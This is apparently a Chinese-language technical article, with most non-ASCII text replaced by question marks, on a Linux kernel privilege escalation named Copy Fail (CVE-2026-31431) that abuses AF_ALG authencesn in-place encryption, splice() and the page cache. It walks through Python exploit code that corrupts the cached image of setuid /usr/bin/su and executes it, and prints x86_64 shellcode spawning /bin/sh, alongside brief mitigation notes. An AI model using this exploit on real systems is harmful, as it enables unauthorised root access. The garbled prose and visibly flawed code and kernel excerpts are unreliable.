??????? Copy Fail?CVE-2026-31431 ???? 2026 ?????????

????? 732 ??????????? Linux ??

2026 ? 4 ? 29 ???????? Theori ???????? Linux ????????????CVE-2026-31431??? Copy Fail?

?? 732 ??? Python ?????????? Linux ???????? root shell?????? 90%??? 99%?? 100%?????????????????????????? ROP gadget?????? KASLR/ASLR???????????

????????????"????"??Linux ?????????????????????????????????????????????????? 2017 ??????????? 9 ??????

??????????"?????"???????????? / SRE / ???????????????????????????????? authencesn ????????? in-place ???splice() ??????????????????page cache ????????????? setuid ??????????????????????????????

??????? Linux ?????????????

1.1 AF_ALG?????????????

Linux ??? 2.5.45 ???? Kernel Crypto API?include/crypto/??????????????????????????

??? / ?????OpenSSL, GnuTLS, NSS?
    ?  ?????socket/bind/send/recv?
AF_ALG Socket ???net/ipc/algif_aead.c?
    ?  ?????crypto_alloc_xx?
?????????crypto_ahash, crypto_aead?
    ?  ???????AES-NI, ARM CE, ?????
???????aes, sha256, gcm...?

AF_ALG ?????????????? socket ???????? 38?????????????? socket ????? bind/accept/send/recv ????????????????????? TLS ?????? offload ??????????????????????

import socket

# ?? AF_ALG socket???????? TCP socket ????
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)

# bind ?????????? crypto ??????????
# authencesn ??????????"???????"
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))

# ????
s.setockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)

# ???????
s.sendmsg([plaintext], [])

???????????????????? root ??? ???? Linux ???????????????? AF_ALG socket????????? SELinux/AppArmor/seccomp ????????????????

1.2 authencesn??????????????

authencesn ?? "Authenticated Encryption with Associated Data using ESN"???? crypto API ????????template??????????????????? IPsec?WireGuard?DTLS ??????????????????????????

1. ??????????CBC-AES ?????
2. ?????????????HMAC-SHA ??????
3. ????????????ESN????? 64 ????

?????????

??
    ?
  CBC-AES ?????????????
    ?
  HMAC-SHA256 ???? ?? + AAD ?????
    ?
?? || Authentication Tag???????

? /proc/crypto ?????????????

name         : authenc(hmac(sha256),cbc(aes))
driver       : authenc(hmac(sha256-generic,cbc-aes-generic))
module       : authencesn

???????????? authencesn?? ESN ?????????? crypto/authencesn.c?ESN ???? IPv6 IPsec ???????????

1.3 2017 ?? in-place ????????

2017 ???? commit 9d1f0d6e ? authencesn ?????????????in-place ?????

?????out-of-place????????????

// ?? out-of-place ??
struct scatterlist src[1], dst[1];
sg_set_buf(src, plaintext, len);           // ???????
sg_set_buf(dst, ciphertext_out, len);        // ?????????
crypto_aead_encrypt(req, src, dst, len);    // ??? src ? dst???????

In-place ??????????????

// In-place ??
struct scatterlist sg[1];
sg_set_buf(sg, buffer, len);                  // ??????????????
crypto_aead_encrypt(req, sg, sg, len);       // ?????????????????

???????????? memcpy() ????

• ?? CPU ????
• ????????
• ????????IPsec?TLS offload??????

? in-place ?????????????aliasing????scatterlist ????sg_src?????sg_dst??????????????????????"?"?"?"? scatterlist ???????????

1.4 splice()????????

splice() ? Linux 2.6.17 ????????????????????????????

#include <sys/splice.h>
ssize_t splice(int fd_in,  loff_t *off_in,
               int fd_out, loff_t *off_out,
               size_t len, unsigned int flags);

??? read/write ??????

read(fd) ? ???? page cache ?? ? ?????
write(fd) ? ????? ? ???? page cache

splice(fd_in ? fd_out) ? ???? page ?? ? ??????

splice() ??????? pipe buffer ???????????? splice ??????? buffer ???????????????????? page cache ????????????????? fd ????????????????????"??"????

?????????? Copy Fail ?????????????????? pipe buffer ??? page cache ????????? page ??????????

??????????????????? root

2.1 ????

????????????????????????????????????????????????????????????????????????
?                        ????                                      ?
?                                                                      ?
?  [????]  open('/usr/bin/su')   ? page cache ??????        ?
?       ?                                                             ?
?       ?  splice() ???           ? pipe buffer ?? page ??      ?
?       ?                                                             ?
?       ?  AF_ALG authencesn ??    ? scatterlist dst == page cache??
?       ?                                    ?                        ?
?       ?                            ?????? page cache?          ?
?       ?                                                             ?
?       ?? execve('/usr/bin/su')     ? ?????? page cache ??    ?
?                                      ??? root shell               ?
????????????????????????????????????????????????????????????????????????

2.2 ??????

??????? page cache ??

import socket, os, struct

AF_ALG = 38

# Step 1: ?? AF_ALG socket??? authencesn ??
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
s.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)

# Step 2: ??????? setuid ??
# open() ???????? page cache????????
fd = os.open('/usr/bin/su', os.O_RDONLY)

# Step 3: ?? splice() ?????????
# splice() ??? buffer ????????? page cache ??"??"
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096)  # ???????? page cache ???
os.close(fd)  # ????????? page cache ????????

# ???????? /usr/bin/su ? page cache ??

??????? in-place ??? scatterlist ????

# Step 4: ????????
# ???sendmsg ? IOV ????? page cache ??
# ??? authencesn in-place ?????? dst scatterlist
# ????????????? page cache ?

# ????? 4096 ??"??"????????? shellcode?
malicious_plaintext = b'\x00' * 4096
# ???????? 4 ????????? 2.3?

# ??????
# ????? IOV ?? pipe fd ????? pipe buffer ? page cache
# authencesn ? in-place ?????
#   "??? in-place?src = dst = pipe buffer ??? page cache"
#   ? ???????? page cache?
s.sendmsg([malicious_plaintext], [(pipe_r, 0, 4096)])

# Step 5: ????????
os.execve('/usr/bin/su', ['su', '-c', 'whoami'], os.environ)
# ?? /usr/bin/su ? page cache ????
# execve() ?? page cache ? ?????? shellcode ? root shell

2.3 ??? 4 ?????

?? exploit ???? 732 ?????????????????? 4 ????????

x86_64 Linux ELF ? setuid ???????

1. /usr/bin/su ??? setuid-root ELF ???
2. execve() ????????? suid ??? root ???????
3. su ?????????? setuid(0) ? setreuid(0, 0) ??? root ???
4. ?? setuid() ??????????????? root ???????????????

?????

?????? su ELF ??????? X ???
    ?? 4 ???? NOP ????: \x90\x90\x90\x90?

?????
    jmp $+4 + offset_to_shellcode  # \xe9 0xYY 0xZZ 0xWW 0xVV
                                   # ??? shellcode ????

Shellcode?? su ELF ? .data ?????????
    # ??? shellcode??????
    push 0x68            # 'h'
    push 0x732f6e6962     # 'nib/'
    push 0x6e69622f       # '/bin'
    mov rax, 59          # __NR_execve
    lea rdi, [rsp]       # "/bin/sh"
    xor rsi, rsi         # argv = NULL
    xor rdx, rdx         # envp = NULL
    syscall              # ?? shell

????? 4 ???

• x86_64 ????? jmp rel32 ??? 5 ?? opcode + 4 ????
• ???????? 4 ?? NOP?\x90????????? jmp rel32
• ??? execve("/bin/sh") ????? root ????? shell???? root shell

????????

• ????? page cache?????????
• sync && echo 3 > /proc/sys/vm/drop_caches ??? page cache?????
• ? rmmod algif_aead ???????????
• ?????md5sum, sha256sum?? AIDE/Tripwire ???????????

2.4 ????? 100% ???

?? Copy Fail ?????????????????????

?????????

?????page cache ??????????????? ASLR?????????????????/usr/bin/su ? page cache ??????????ELF ????? Linux ??????????????????????

???????????????????

3.1 ????????

????????????????

???
  ? (socket AF_ALG)
net/ipc/algif_aead.c          ? AF_ALG AEAD ?????????
  ? (crypto_aead_*)
crypto/authenc.c               ? authenc ???? ESN?
crypto/authencesn.c             ? authencesn ???? ESN??? ESN?
  ? (????)
crypto/cbc.c                  ? CBC ??????
crypto/shash.c                 ? HMAC ??

???
  ? (splice)
mm/splice.c                    ? splice ??????
  ? (?? pipe buffer ??)
mm/pipe.c                      ? pipe buffer ????? page ???

mm/filemap.c                   ? page cache ??
fs/exec.c                      ? execve ?????? page cache ?? ELF?

3.2 authencesn ???? scatterlist ??

??? crypto/authencesn.c ????????????

static int crypt_ahash(struct aead_request *req, u8 *op)
{
    struct crypto_aead *tfm = crypto_aead_reqtfm(req);
    unsigned int cryptlen = req->cryptlen;
    struct scatterlist *src, *dst;
    /* ... */

    if (!req->src || !req->dst) {
        // ?? src == dst?in-place???????? scatterlist
        src = dst = req->src;
    } else {
        // ? in-place
        src = req->src;
        dst = req->dst;
    }

    /* ... */
    
    // ?? dst ?????? CBC ??
    // CBC ???"???"??? dst scatterlist ????
    // ?? dst ???? page cache ???? ? ?? page cache?
}

???????

? authencesn ??????op = CPHA_AEAD_DECRYPT?????? sg?scatterlist?????????????????????????????? in-place????????????????? sendmsg ? IOV??

?? IOV ?? pipe buffer?? pipe buffer ??? page cache ?????????????????????? page cache ?????

3.3 splice() ????"????"

? mm/splice.c ??splice() ?????????

static long splice_to_pipe(struct pipe_inode_info *pipe,
                           struct pipe_buffer *buf)
{
    struct pipe_buffer *obuf = pipe->bufs + pipe->curbuf;

    /* ... */

    /*
     * ????pipe_b